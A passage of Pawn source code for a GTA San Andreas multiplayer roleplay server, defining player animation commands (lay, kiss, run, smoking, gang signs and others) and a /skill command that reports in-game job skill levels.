			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"SUNBATHE","Lay_Bac_in",3.0,0,1,1,1,0);AnimPlay[playerid] = 1;
			return 1;
		}
	if(strcmp(cmd, "/lay", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"BEACH", "bather", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}
		if (strcmp("/lay3", cmd, true, 6) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"BEACH", "SitnWait_loop_W", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/joint", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"GANGS","smkcig_prtl",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/die", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "PARACHUTE", "FALL_skyDive_DIE", 4.0, 0, 1, 1, 1, -1); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/benddown", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "BAR", "Barserve_bottle", 4.0, 0, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp("/medic", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"MEDIC","CPR",4.1,0,1,1,1,1);AnimPlay[playerid] = 1;
			return 1;
		}
		 if (strcmp("/laugh", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "RAPPING", "Laugh_01", 4.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/carjack", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_jackedLHS",4.0,0,1,1,1,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if (strcmp("/vomit", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /vomit <1-2>");
			new anim = strval(tmp);
			if(anim == 1) {LoopingAnim(playerid, "FOOD", "EAT_Vomit_P", 3.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 2) {LoopingAnim(playerid, "FOOD", "EAT_VOMIT_SK", 4.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else return SCM(playerid, COL_SYN, "Syntax: /vomit <1-2>");
			return 1;
		}
		 if(strcmp(cmd, "/taichi", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PARK","Tai_Chi_Loop",4.0,1,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp(cmd, "/bomb", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "BOMBER", "BOM_Plant", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp(cmd, "/robman", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "SHOP", "ROB_Loop_Threat", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp(cmd, "/chat", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			 LoopingAnim(playerid,"PED","IDLE_CHAT",4.1,1,1,1,1,1);AnimPlay[playerid] = 1;
			 return 1;
		}
		if (strcmp("/pee", cmd, true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA85,"Cannot use that when you are not On-Foot."); return 1; }
		if(PlayerHandsCuffed[playerid] == 1)
		{
		SCM(playerid,COLOR_visit,"you can't pissing when your hands are cuffed.");
		return 1;
		}
			if (GetPlayerState(playerid)== 1)
			{
				SetPlayerSpecialAction(playerid, PISSING);
			}
			return 1;
		}
		if(strcmp(cmd, "/fakepee", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA85,"Cannot use that when you are not On-Foot."); return 1; }
			 LoopingAnim(playerid, "PAULNMAC", "Piss_in", 3.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			 return 1;
		}
		// by Sina
		if(strcmp(cmd, "/kiss", true) == 0)
{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		 new kiss[256];
		 kiss = strtok(cmdtext, idx);
		 if(!strlen(kiss))
		{
		 SCM(playerid,COLOR_MEDIC,"Syntax: /kiss [1-3]");
		 return 1;
		}
		 else if(strcmp(kiss,"1",true) == 0)
		 {
		 LoopingAnim(playerid, "KISSING", "Playa_Kiss_02", 3.0, 1, 0, 0, 0, 0);
		AnimPlay[playerid] = 1;
		 return 1;
		 }
		 else if(strcmp(kiss,"2",true) == 0)
		 {
		 LoopingAnim(playerid,"KISSING","Grlfrd_Kiss_03",3.0,0,0,0,0,0);
		AnimPlay[playerid] = 1;
		 return 1;
		 }
		 else if(strcmp(kiss,"3",true) == 0)
		 {
		 LoopingAnim(playerid,"BD_FIRE","Grlfrd_Kiss_03",3.0,0,0,0,0,0);
		AnimPlay[playerid] = 1;
		 return 1;
		 }
		 else
		 {
		 SCM(playerid,COLOR_MEDIC,"Syntax: /kiss [1-3]");
		 return 1;
		 }
		 }
		 if(strcmp(cmd, "/wave", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /wave <1-2>");
			new anim = strval(tmp);
			if(anim == 1){LoopingAnim(playerid, "ON_LOOKERS", "wave_loop", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 2){LoopingAnim(playerid, "BD_FIRE", "BD_GF_WAVE", 4.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else return SCM(playerid,COL_SYN, "Syntax: /wave <1-2>");
			return 1;
		}
		 if(strcmp(cmd, "/run", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /run <1-15>");
			new anim = strval(tmp);
			if(anim == 1){LoopingAnim(playerid, "PED", "run_1armed", 2.5, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 2){LoopingAnim(playerid,"PED","run_armed", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 3){LoopingAnim(playerid,"PED","run_civi", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 4){LoopingAnim(playerid,"PED","run_csaw", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 5){LoopingAnim(playerid,"PED","run_fat", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 6){LoopingAnim(playerid,"PED","run_fatold", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 7){LoopingAnim(playerid,"PED","run_gang1", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 8){LoopingAnim(playerid,"PED","run_left", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 9){LoopingAnim(playerid,"PED","run_old", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 10){LoopingAnim(playerid,"PED","run_player", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 11){LoopingAnim(playerid,"PED","run_right", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 12){LoopingAnim(playerid,"PED","run_rocket", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 13){LoopingAnim(playerid,"PED","Run_stop", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 14){LoopingAnim(playerid,"PED","Run_stopR", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 15){LoopingAnim(playerid,"PED","Run_Wuzi", 4.0, 1, 1, 1, 0, 0);AnimPlay[playerid] = 1;}
			else return SCM(playerid,COL_SYN, "Syntax: /run <1-15>");
			return 1;
		}
		 if(strcmp(cmd, "/car", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /car <1-2>");
			new anim = strval(tmp);
			if(anim == 1){LoopingAnim(playerid, "CAR", "FIXN_CAR_LOOP", 2.5, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 2){LoopingAnim(playerid, "CAR", "FIXN_CAR_OUT", 2.5, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else return SCM(playerid,COL_SYN, "Syntax: /car <1-2>");
			return 1;
		}
		 if(strcmp(cmd, "/chairsit", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /chairsit <1-12>");
			new anim = strval(tmp);
			if(anim == 1) endchair(playerid);
			else if(anim == 2){LoopingAnim(playerid, "JST_BUISNESS", "GIRL_02", 2.5, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 3){LoopingAnim(playerid,"INT_OFFICE","OFF_Sit_Type_Loop", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 4){LoopingAnim(playerid,"PED","SEAT_DOWN", 4.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 5){LoopingAnim(playerid,"INT_OFFICE","OFF_SIT_BORED_LOOP", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 6){LoopingAnim(playerid,"INT_OFFICE","OFF_SIT_CRASH", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 7){LoopingAnim(playerid,"INT_OFFICE","OFF_SIT_DRINK", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 8){LoopingAnim(playerid,"INT_OFFICE","OFF_SIT_IDLE_LOOP", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 9){LoopingAnim(playerid,"INT_OFFICE","OFF_SIT_TYPE_LOOP", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 10){LoopingAnim(playerid,"MISC","SEAT_TALK_01", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 11){LoopingAnim(playerid,"MISC","SEAT_TALK_02", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 12){LoopingAnim(playerid,"MISC","SEAT_WATCH", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else return SCM(playerid,COL_SYN, "Syntax: /chairsit <1-12>");
			return 1;
		}
		if(!strcmp(cmd, "/heyu",true))
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "ON_LOOKERS", "POINT_LOOP", 4.0, 1, 0, 0, 0, 0);
			AnimPlay[playerid] = 1;
			return 1;
		}
		if(!strcmp(cmd, "/scratchballs",true))
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "MISC", "SCRATCHBALLS_01", 4.0, 0, 0, 0, 0, 0);
			AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp(cmd, "/drunk", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED", "WALK_DRUNK",4.1,1,1,1,1,1);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp(cmd, "/crack", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"CRACK", "crckdeth2",4.1,1,1,1,1,10000);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp(cmd, "/injured", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			if (!strlen(cmdtext[9])) return SendMessage(playerid,COL_SYN,"Syntax: /injured [1-4]");
			switch (cmdtext[9])
			{
				case '1': { LoopingAnim(playerid, "SWEET", "Sweet_injuredloop", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case '2': { LoopingAnim(playerid,"SWAT","gnstwall_injurd", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case '3': { LoopingAnim(playerid, "SWEET", "LAFIN_SWEET", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case '4': { LoopingAnim(playerid, "WUZI", "CS_DEAD_GUY", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					default: SendMessage(playerid,COL_SYN,"Syntax: /injured [1-4]");
			}
			return 1;
		}
		if(strcmp(cmd, "/hitch", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"MISC","Hiker_Pose", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/gsign", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			new gsig;
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) {
			SendMessage(playerid,COL_SYN,"Syntax: /gsign [1-5]");
			return 1;
			}
			gsig = strval(tmp);
			if(gsig < 1 || gsig > 5)
			{
			SendMessage(playerid,COL_SYN,"Syntax: /gsign [1-5]");
			return 1;
			}
			if(gsig == 1)
			{
			LoopingAnim(playerid,"GHANDS","gsign1",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else if(gsig == 2)
			{
			LoopingAnim(playerid,"GHANDS","gsign2",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else if(gsig == 3)
			{
			LoopingAnim(playerid,"GHANDS","gsign3",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else if(gsig == 4)
			{
			LoopingAnim(playerid,"GHANDS","gsign4",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else if(gsig == 5)
			{
			LoopingAnim(playerid,"GHANDS","gsign5",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else
			{
			SCM(playerid,COL_SYN,"Syntax: /gsign [1-5]");
			return 1;
			}
			return 1;
		}
		if(strcmp(cmd, "/nod", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"COP_AMBIENT","Coplook_nod",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/cry", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			new cr;
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) {
			SendMessage(playerid,COL_SYN,"Syntax: /cry [1-2]");
			return 1;
			}
			cr = strval(tmp);
			if(cr < 1 || cr > 2)
			{
			SendMessage(playerid,COL_SYN,"Syntax: /cry [1-2]");
			return 1;
			}
			if(cr == 1)
			{
			LoopingAnim(playerid,"GRAVEYARD","mrnF_loop", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			}
			else if(cr == 2)
			{
			LoopingAnim(playerid,"GRAVEYARD","mrnM_loop", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			}
			else
			{
			SCM(playerid,COL_SYN,"Syntax: /cry [1-2]");
			return 1;
			}
			return 1;
		}
		if(strcmp(cmd, "/ghand", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			new gha;
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) {
			SendMessage(playerid,COL_SYN,"Syntax: /ghand [1-5]");
			return 1;
			}
			gha = strval(tmp);
			if(gha < 1 || gha > 5)
			{
			SendMessage(playerid,COL_SYN,"Syntax: /ghand [1-5]");
			return 1;
			}
			if(gha == 1)
			{
			LoopingAnim(playerid,"GHANDS","gsign1LH",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else if(gha == 2)
			{
			LoopingAnim(playerid,"GHANDS","gsign2LH",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else if(gha == 3)
			{
			LoopingAnim(playerid,"GHANDS","gsign3LH",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else if(gha == 4)
			{
			LoopingAnim(playerid,"GHANDS","gsign4LH",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else if(gha == 5)
			{
			LoopingAnim(playerid,"GHANDS","gsign5LH",4.0,0,1,1,1,1); AnimPlay[playerid] = 1;
			}
			else
			{
			SCM(playerid,COL_SYN,"Syntax: /ghand [1-5]");
			return 1;
			}
			return 1;
		}
		if(strcmp(cmd, "/chant", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"RIOT","RIOT_CHANT", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/bieh", true) == 0)
	   {
	   if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
	   LoopingAnim(playerid,"RIOT","RIOT_FUKU",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
	   return 1;
	   }
		if(strcmp(cmd, "/yes", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"CLOTHES","CLO_Buy", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/relax", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"BEACH","Lay_Bac_Loop", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/celebrate", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"GYMNASIUM","gym_tread_celebrate", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			return 1;
		}
	   if(strcmp(cmd, "/smoking", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		 new sigar[256];
		 sigar = strtok(cmdtext, idx);
		 if(!strlen(sigar))
		{
		 SCM(playerid,COLOR_MEDIC,"Syntax: /smoking [1-4]");
		 return 1;
		}
		 else if(strcmp(sigar,"1",true) == 0)
		 {
		 LoopingAnim(playerid,"SMOKING","F_smklean_loop",4.0,1,0,0,0,0);
	  AnimPlay[playerid] = 1;
		 return 1;
		 }
		 else if(strcmp(sigar,"2",true) == 0)
		 {
		 LoopingAnim(playerid,"SMOKING","M_smklean_loop",4.0,1,0,0,0,0);
	  AnimPlay[playerid] = 1;
		 return 1;
		 }
		 else if(strcmp(sigar,"3",true) == 0)
		 {
		 LoopingAnim(playerid,"SMOKING","M_smkstnd_loop",4.0,1,0,0,0,0);
	  AnimPlay[playerid] = 1;
		 return 1;
		 }
		 else if(strcmp(sigar,"4",true) == 0)
		 {
		 LoopingAnim(playerid,"SMOKING","M_smk_loop",4.0,1,0,0,1,1);
	  AnimPlay[playerid] = 1;
		 return 1;
		 }
		 else
		 {
		 SCM(playerid,COLOR_MEDIC,"Syntax: /smoking [1-4]");
		 return 1;
		 }
		 }
	//--------------------------------------
		if(strcmp(cmd,"/skill",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				new x_nr[256];
				x_nr = strtok(cmdtext, idx);
				if(!strlen(x_nr)) {
					SendMessage(playerid, COL_SYN,"Syntax: /skill <Number>                       ");
					  SendMessage(playerid, CRISTIAN, "|_________________ Skill Info ________________|");
					SendMessage(playerid, COLOR_YELLOW, " 1: Detective            6: Car Mechanic     ");
					SendMessage(playerid, COLOR_YELLOW, " 2: Lawyer               7: Arms Dealer      ");
					SendMessage(playerid, COLOR_YELLOW, " 3: Drugs Dealer      8: Rob              ");
					SendMessage(playerid, COLOR_YELLOW, " 4: Car Jacker                               ");
					SendMessage(playerid, COLOR_YELLOW, " 5: News Reporter                            ");
					  SendMessage(playerid, CRISTIAN, "|_________________________________________|");
					return 1;
				}
				if(strcmp(x_nr,"1",true) == 0)//Detective
				{
					new level = PlayerInfo[playerid][pDetSkill];
					if(level >= 0 && level <= 49) { SendMessage(playerid, COLOR_YELLOW, "Your Detective Skill Level = 1."); format(string, sizeof(string), "You need to find %d more people to Level up.", 50 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 50 && level <= 99) { SendMessage(playerid, COLOR_YELLOW, "Your Detective Skill Level = 2."); format(string, sizeof(string), "You need to find %d more people to Level up.", 100 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 100 && level <= 199) { SendMessage(playerid, COLOR_YELLOW, "Your Detective Skill Level = 3."); format(string, sizeof(string), "You need to find %d more people to Level up.", 200 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 200 && level <= 399) { SendMessage(playerid, COLOR_YELLOW, "Your Detective Skill Level = 4."); format(string, sizeof(string), "You need to find %d more people to Level up.", 400 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 400) { SendMessage(playerid, COLOR_YELLOW, "Your Detective Skill Level = 5."); }
				}
				else if(strcmp(x_nr,"2",true) == 0)//Lawyer
				{
					new level = PlayerInfo[playerid][pLawSkill];
					if(level >= 0 && level <= 49) { SendMessage(playerid, COLOR_YELLOW, "Your Lawyer Skill Level = 1."); format(string, sizeof(string), "You need to free %d more people to Level up.", 50 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 50 && level <= 99) { SendMessage(playerid, COLOR_YELLOW, "Your Lawyer Skill Level = 2."); format(string, sizeof(string), "You need to free %d more people to Level up.", 100 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 100 && level <= 149) { SendMessage(playerid, COLOR_YELLOW, "Your Lawyer Skill Level = 3."); format(string, sizeof(string), "You need to free %d more people to Level up.", 150 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 150 && level < 199) { SendMessage(playerid, COLOR_YELLOW, "Your Lawyer Skill Level = 4."); format(string, sizeof(string), "You need to free %d more people to Level up.", 200 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 200) { SendMessage(playerid, COLOR_YELLOW, "Your Lawyer Skill Level = 5."); }
				}
				else if(strcmp(x_nr,"3",true) == 0)//drug dealer
				{
					new level = PlayerInfo[playerid][pDrugsSkill];
					if(level >= 0 && level <= 49) { SendMessage(playerid, COLOR_YELLOW, "Your Drug Dealer Skill Level = 1."); format(string, sizeof(string), "You need to sell drugs %d times more to Level up.", 50 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 50 && level <= 99) { SendMessage(playerid, COLOR_YELLOW, "Your Drug Dealer Skill Level = 2."); format(string, sizeof(string), "You need to sell drugs %d times more to Level up.", 100 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 100 && level <= 199) { SendMessage(playerid, COLOR_YELLOW, "Your Drug Dealer Skill Level = 3."); format(string, sizeof(string), "You need to sell drugs %d times more to Level up.", 200 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 200 && level <= 399) { SendMessage(playerid, COLOR_YELLOW, "Your Drug Dealer Skill Level = 4."); format(string, sizeof(string), "You need to sell drugs %d times more to Level up.", 400 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 400) { SendMessage(playerid, COLOR_YELLOW, "Your Drug Dealer Skill Level = 5."); }
				}
				else if(strcmp(x_nr,"4",true) == 0)//Car Jacker
				{
					new level = PlayerInfo[playerid][pJackSkill];
					if(level >= 0 && level <= 49) { SendMessage(playerid, COLOR_YELLOW, "Your Car Jacker Skill Level = 1."); format(string, sizeof(string), "You need to drop %d cars more to Level up.", 50 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 50 && level <= 99) { SendMessage(playerid, COLOR_YELLOW, "Your Car Jacker Skill Level = 2."); format(string, sizeof(string), "You need to drop %d cars more to Level up.", 100 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 100 && level <= 199) { SendMessage(playerid, COLOR_YELLOW, "Your Car Jacker Skill Level = 3."); format(string, sizeof(string), "You need to drop %d cars more to Level up.", 200 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 200 && level <= 399) { SendMessage(playerid, COLOR_YELLOW, "Your Car Jacker Skill Level = 4."); format(string, sizeof(string), "You need to drop %d cars more to Level up.", 400 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 400) { SendMessage(playerid, COLOR_YELLOW, "Your Car Jacker Skill Level = 5."); }
				}
				else if(strcmp(x_nr,"5",true) == 0)//News Reporter
				{
					new level = PlayerInfo[playerid][pNewsSkill];
					if(level >= 0 && level <= 49) { SendMessage(playerid, COLOR_YELLOW, "Your New Reporter Skill Level = 1."); format(string, sizeof(string), "You need to use /news %d times more to Level up.", 50 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 50 && level <= 99) { SendMessage(playerid, COLOR_YELLOW, "Your New Reporter Skill Level = 2."); format(string, sizeof(string), "You need to use /news %d times people to Level up.", 100 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 100 && level <= 199) { SendMessage(playerid, COLOR_YELLOW, "Your New Reporter Skill Level = 3."); format(string, sizeof(string), "You need to use /news %d times people to Level up.", 200 - level); SendMessage(playerid, COLOR_YELLOW, string); }
